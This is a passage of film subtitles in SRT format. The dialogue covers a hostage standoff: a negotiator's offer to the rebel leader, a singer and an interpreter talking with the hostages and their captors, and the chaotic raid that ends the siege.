investment on my part.

483
00:56:46.572 --> 00:56:53.145
But you
know, I was so lonely.

484
00:56:53.245 --> 00:56:55.848
So.

485
00:56:55.948 --> 00:56:59.451
What about everybody
else, do you think?

486
00:56:59.551 --> 00:57:02.654
How bout Mr. Hosokawa?

487
00:57:02.754 --> 00:57:04.656
Is he married?

488
00:57:43.963 --> 00:57:44.863
Ms. Coss?

489
00:57:49.735 --> 00:57:53.205
Chicago is a beautiful city.

490
00:57:53.305 --> 00:57:53.805
Yes.

491
00:57:53.906 --> 00:57:55.341
I'm from Chicago.

492
00:57:55.441 --> 00:57:56.775
Did I tell you that?

493
00:57:56.875 --> 00:57:57.443
It is.

494
00:57:57.543 --> 00:57:58.377
It's very beautiful.

495
00:57:58.477 --> 00:58:02.648
Um, it's cold in the wintertime.

496
00:58:02.748 --> 00:58:04.416
Very, very cold.

497
00:58:04.516 --> 00:58:06.085
And in the summer, it's hot.

498
00:58:06.185 --> 00:58:08.220
Almost unbearably hot.

499
00:58:09.755 --> 00:58:12.191
No, don't... don't translate
that, because he doesn't...

500
00:58:12.291 --> 00:58:13.625
he doesn't need to
know that I'm an idiot.

501
00:58:13.725 --> 00:58:16.062
It's OK.

502
00:58:18.097 --> 00:58:18.597
Is that me?

503
00:58:19.731 --> 00:58:20.832
It is?

504
00:58:20.933 --> 00:58:21.667
S .

505
00:58:21.767 --> 00:58:22.434
I see.

506
01:00:20.819 --> 01:00:22.054
Carmen.

507
01:00:46.512 --> 01:00:49.215
It's good timing.

508
01:00:49.315 --> 01:00:50.416
Is it?

509
01:00:50.516 --> 01:00:54.019
Yeah, I have some questions
about Anton Chekhov.

510
01:00:54.120 --> 01:00:55.521
Chekhov?

511
01:00:55.621 --> 01:00:57.523
No, I love Tolstoy
more than Chekhov,

512
01:00:57.623 --> 01:00:58.990
but we can talk about Chekhov.

513
01:00:59.625 --> 01:01:00.792
Are you OK?

514
01:01:00.892 --> 01:01:01.660
You look unwell.

515
01:01:01.760 --> 01:01:02.761
Are you OK?

516
01:01:02.861 --> 01:01:04.130
No, I'm sure I'll be fine.

517
01:01:04.230 --> 01:01:06.632
You know, if... perhaps they
will let you go if you are ill.

518
01:01:06.732 --> 01:01:07.233
No, no, no.

519
01:01:07.333 --> 01:01:08.167
Yes.

520
01:01:08.267 --> 01:01:09.268
I have no
intention of leaving.

521
01:01:09.368 --> 01:01:10.569
I'm not leaving.

522
01:01:10.669 --> 01:01:11.503
Look.

523
01:01:11.603 --> 01:01:16.508
The bathroom is empty now.

524
01:01:16.608 --> 01:01:22.148
Look, don't worry, Gen.
I can keep a secret.

525
01:01:50.075 --> 01:01:50.976
What's that for?

526
01:02:09.361 --> 01:02:11.263
Listen, just relax.

527
01:02:11.363 --> 01:02:15.901
Is it true that the government
is considering shooting us all?

528
01:02:16.001 --> 01:02:16.868
Why would they do that?

529
01:02:16.968 --> 01:02:19.104
So as to pin it on the rebels.

530
01:02:19.205 --> 01:02:20.739
It doesn't seem to make sense.

531
01:02:20.839 --> 01:02:24.476
If the rebels panic,
they could kill all of us

532
01:02:24.576 --> 01:02:25.944
in a moment of desperation.

533
01:02:45.564 --> 01:02:48.267
You'll give this to
the government, please.

534
01:02:55.541 --> 01:02:57.376
We should talk about this.

535
01:02:57.476 --> 01:02:58.644
This cannot go on any longer.

536
01:02:58.744 --> 01:02:59.411
Shh.

537
01:02:59.511 --> 01:03:00.646
Please, they are playing.

538
01:03:00.746 --> 01:03:01.146
Come on.

539
01:03:01.247 --> 01:03:02.113
Sit down.

540
01:03:02.214 --> 01:03:04.583
So now this is
a chess academy?

541
01:03:04.683 --> 01:03:05.517
Sit down.

542
01:03:10.756 --> 01:03:14.460
You were a teacher before
all this, weren't you?

543
01:03:14.560 --> 01:03:17.296
Your wife is in
prison, your children

544
01:03:17.396 --> 01:03:19.565
are living in Sweden, in
Stockholm with relatives,

545
01:03:19.665 --> 01:03:20.065
right?

546
01:03:26.505 --> 01:03:27.839
Is this a threat?

547
01:03:27.939 --> 01:03:30.075
No.

548
01:03:30.175 --> 01:03:32.311
Not a threat.

549
01:03:32.411 --> 01:03:35.681
If they were to offer
the release of your wife

550
01:03:35.781 --> 01:03:37.215
as well as a handful
of other prisoners

551
01:03:37.316 --> 01:03:40.051
who have committed no
violence, would you consider

552
01:03:40.151 --> 01:03:41.086
releasing the hostages?

553
01:03:44.790 --> 01:03:47.326
Handful of prisoners?

554
01:03:47.426 --> 01:03:49.027
10 or so.

555
01:03:49.127 --> 01:03:51.330
And this is not
an official offer.

556
01:03:51.430 --> 01:03:55.133
I would have to
convince the other side.

557
01:03:55.233 --> 01:03:57.869
And safe passage to
Venezuela for all of you.

558
01:03:57.969 --> 01:03:59.738
From Venezuela,
flights to Stockholm.

559
01:03:59.838 --> 01:04:01.006
Where I could see
my children again.

560
01:04:03.709 --> 01:04:08.347
Where you could see
your children again.

561
01:04:08.447 --> 01:04:10.682
I'm sure they're missing you.

562
01:04:10.782 --> 01:04:12.751
I'm sure they're afraid for you.

563
01:04:12.851 --> 01:04:17.155
Won't you do this for them?

564
01:04:17.255 --> 01:04:20.125
All?

565
01:04:20.225 --> 01:04:24.095
We must release all
political prisoners.

566
01:04:24.195 --> 01:04:27.333
Please consider it.

567
01:04:27.433 --> 01:04:29.368
Do it quickly.

568
01:04:29.468 --> 01:04:32.270
I have considered.

569
01:04:32.371 --> 01:04:33.639
Wait.

570
01:04:33.739 --> 01:04:35.741
Let me walk you out.

571
01:04:35.841 --> 01:04:38.444
What were you talking about?

572
01:04:38.544 --> 01:04:40.078
I tried to make him an offer.

573
01:04:40.178 --> 01:04:41.212
And?

574
01:04:41.313 --> 01:04:43.782
Well, just let's wait and see.

575
01:04:43.882 --> 01:04:46.352
Well, are they going
to continue to negotiate?

576
01:04:46.452 --> 01:04:47.152
I don't know.

577
01:04:47.252 --> 01:04:48.186
They don't tell me anything.

578
01:04:48.286 --> 01:04:48.854
Please.

579
01:04:48.954 --> 01:04:49.655
I don't believe you.

580
01:04:49.755 --> 01:04:51.557
You have to know something.

581
01:04:51.657 --> 01:04:53.024
I'm afraid this won't go on.

582
01:06:07.566 --> 01:06:08.600
Voila.

583
01:06:08.700 --> 01:06:12.070
We start with the chicken
soup a la Roxanne.

584
01:06:12.170 --> 01:06:13.939
God.

585
01:06:46.972 --> 01:06:48.306
Bon appetit.

586
01:07:31.282 --> 01:07:32.083
Carrot.

587
01:07:32.183 --> 01:07:32.818
Carrota.

588
01:07:32.918 --> 01:07:34.185
No... no s c mo se dice.

589
01:08:20.398 --> 01:08:21.299
Gen?

590
01:08:21.399 --> 01:08:22.267
Excuse me.

591
01:08:22.367 --> 01:08:26.672
Um, I wanted to ask
you for a favor.

592
01:08:26.772 --> 01:08:29.708
Um, you know Carmen?

593
01:08:29.808 --> 01:08:30.909
Yes.

594
01:08:31.009 --> 01:08:34.980
Sometimes she sleeps
outside my room at night.

595
01:08:35.080 --> 01:08:38.717
Would you find her and... and ask
her not to sleep there tonight?

596
01:08:42.087 --> 01:08:43.421
And then there's this
other thing that I

597
01:08:43.521 --> 01:08:48.159
want, but, um, I don't know.

598
01:08:48.259 --> 01:08:49.895
Maybe it's too much to ask.

599
01:15:28.526 --> 01:15:29.627
No, no, no, that's
too high for you.

600
01:15:29.727 --> 01:15:32.830
Uno m s pero... no, no,
no, come back, come back.

601
01:16:25.050 --> 01:16:27.085
Do you think I
could go outside?

602
01:16:27.185 --> 01:16:28.219
I'd like to talk to him.

603
01:16:37.162 --> 01:16:40.765
She says "I can ask."

604
01:18:13.458 --> 01:18:16.494
We are going outside.

605
01:18:25.870 --> 01:18:27.172
This is it.

606
01:18:27.272 --> 01:18:29.640
They are going to finish us.

607
01:18:29.740 --> 01:18:30.575
That's my last cigarette.

608
01:18:30.675 --> 01:18:31.809
I told you.

609
01:18:31.909 --> 01:18:32.343
Stop it.

610
01:19:00.471 --> 01:19:01.639
It's great.

611
01:19:01.739 --> 01:19:02.640
Great.

612
01:19:42.079 --> 01:19:42.480
Yah!

613
01:20:12.310 --> 01:20:13.811
Tell him that he sings well.

614
01:20:18.015 --> 01:20:20.084
He wants to know if
you think he's a fool.

615
01:20:20.184 --> 01:20:22.119
No, he's not... he's
not a fool for singing.

616
01:20:22.219 --> 01:20:24.154
You're an idiot for
going up in that tree.

617
01:20:24.255 --> 01:20:26.591
Tell him that a lot of the
best singers in the world

618
01:20:26.691 --> 01:20:28.993
are from Latin America.

619
01:20:34.665 --> 01:20:35.800
Come on, come on.

620
01:20:35.900 --> 01:20:36.467
Come on down.

621
01:20:38.836 --> 01:20:39.270
Ooh.

622
01:20:39.370 --> 01:20:40.204
Be careful.

623
01:20:44.241 --> 01:20:45.410
My god!

624
01:20:45.510 --> 01:20:46.844
I didn't mean for him to
throw himself out of the tree.

625
01:20:46.944 --> 01:20:47.878
Are you OK?
- Are you OK?

626
01:20:47.978 --> 01:20:48.546
You OK?

627
01:20:51.516 --> 01:20:52.950
You will teach him?

628
01:20:53.050 --> 01:20:54.919
Well, does he want to learn?

629
01:20:55.019 --> 01:20:58.756
Is he willing to work very, very
hard to see if he has a voice?

630
01:21:00.124 --> 01:21:02.059
S .

631
01:21:48.506 --> 01:21:49.874
Ay.

632
01:21:49.974 --> 01:21:50.375
Ishmael?

633
01:22:39.323 --> 01:22:40.224
MAN: Got it!

634
01:23:20.064 --> 01:23:22.433
I want to tell you that soon
they will not let me come here

635
01:23:22.533 --> 01:23:23.367
anymore.

636
01:23:23.468 --> 01:23:25.002
You are
losing your job.

637
01:23:25.102 --> 01:23:27.304
The government feels
they've put enough effort

638
01:23:27.404 --> 01:23:29.073
into negotiations.

639
01:23:29.173 --> 01:23:30.875
I have seen no effort at all.

640
01:23:30.975 --> 01:23:33.077
They have made us no
reasonable offers.

641
01:23:33.177 --> 01:23:35.045
Please, give it up.

642
01:23:35.145 --> 01:23:36.346
Do it today.

643
01:23:36.447 --> 01:23:38.415
Walk outside where everyone
can see you and surrender.

644
01:23:38.516 --> 01:23:39.850
What about our demands?

645
01:23:42.687 --> 01:23:45.823
Have you spoken with
them in a similar way?

646
01:23:45.923 --> 01:23:47.558
Would they surrender?

647
01:23:47.658 --> 01:23:52.029
They will give up nothing.

648
01:23:52.129 --> 01:23:54.131
There's no chance no
matter how long you wait.

649
01:23:54.231 --> 01:23:55.666
Then we will
kill the hostages.

650
01:23:55.766 --> 01:24:00.204
No, you won't, because
you are not murderers.

651
01:24:00.304 --> 01:24:02.172
You must release these people.

652
01:24:02.272 --> 01:24:02.673
Now.

653
01:24:07.011 --> 01:24:11.482
Why is it our responsibility
to make every concession?

654
01:24:11.582 --> 01:24:13.718
Are we expected to
give up because we

655
01:24:13.818 --> 01:24:16.521
have such a long history
of giving things up?

656
01:24:20.324 --> 01:24:22.059
500 fucking years.

657
01:24:27.765 --> 01:24:29.066
You don't think I miss my wife?

658
01:24:32.102 --> 01:24:32.637
My children?

659
01:24:36.173 --> 01:24:40.511
You think we have forgotten?

660
01:24:40.611 --> 01:24:47.852
You think this dream,
this horrible dream,

661
01:24:47.952 --> 01:24:48.553
makes me forget?

662
01:24:52.623 --> 01:24:53.824
I don't forget anything.

663
01:25:14.211 --> 01:25:18.515
If they keep us here
forever, we... we will manage.

664
01:25:18.616 --> 01:25:19.984
Keep us here forever?

665
01:25:20.084 --> 01:25:21.552
Are you insane?

666
01:25:21.652 --> 01:25:24.354
You were the brightest
one here once.

667
01:25:24.454 --> 01:25:26.190
Now you're as crazy
as the rest of them.

668
01:25:35.299 --> 01:25:38.435
How did your
negotiations go today?

669
01:25:38.535 --> 01:25:39.369
They went.

670
01:25:39.469 --> 01:25:40.838
They went well.

671
01:25:45.275 --> 01:25:47.978
Please give it a
little more time.

672
01:25:48.078 --> 01:25:50.280
We cannot afford to
lose any innocent lives.

673
01:25:50.380 --> 01:25:52.482
Of course.

674
01:25:52.583 --> 01:25:54.885
The general would
like to talk to you.

675
01:25:54.985 --> 01:25:55.920
He's not at his usual location.

676
01:27:09.226 --> 01:27:10.560
Like this.

677
01:27:38.522 --> 01:27:39.323
No.
No.

678
01:27:41.525 --> 01:27:41.926
No.

679
01:27:42.026 --> 01:27:42.559
No!

680
01:27:45.996 --> 01:27:46.897
No!

681
01:27:46.997 --> 01:27:48.866
Ishmael!

682
01:27:48.966 --> 01:27:49.399
Carmen!

683
01:27:52.937 --> 01:27:53.838
Carmen!

684
01:28:13.824 --> 01:28:15.225
Gilberto,!

685
01:28:30.207 --> 01:28:31.108
No!

686
01:28:31.208 --> 01:28:32.209
No!

687
01:28:32.309 --> 01:28:32.709
Yo...

688
01:29:23.193 --> 01:29:24.094
Carmen!

689
01:29:28.198 --> 01:29:30.600
Carmen!

690
01:29:33.170 --> 01:29:35.572
Carmen!

691
01:29:36.673 --> 01:29:37.574
Carmen!

692
01:29:41.678 --> 01:29:42.579
Carmen!

693
01:29:42.679 --> 01:29:44.048
Carmen!

694
01:29:44.148 --> 01:29:44.548
Roxanne!

695
01:29:48.652 --> 01:29:49.553
No!

696
01:31:13.470 --> 01:31:14.871
Simon!

697
01:31:19.977 --> 01:31:20.877
Simon.

698
01:31:20.978 --> 01:31:21.878
Simon.

699
01:31:25.449 --> 01:31:27.351
It's OK.

700
01:31:31.956 --> 01:31:33.857
, presidente?

701
01:32:40.824 --> 01:32:41.691
It's time.


ZeroDay Forums Mini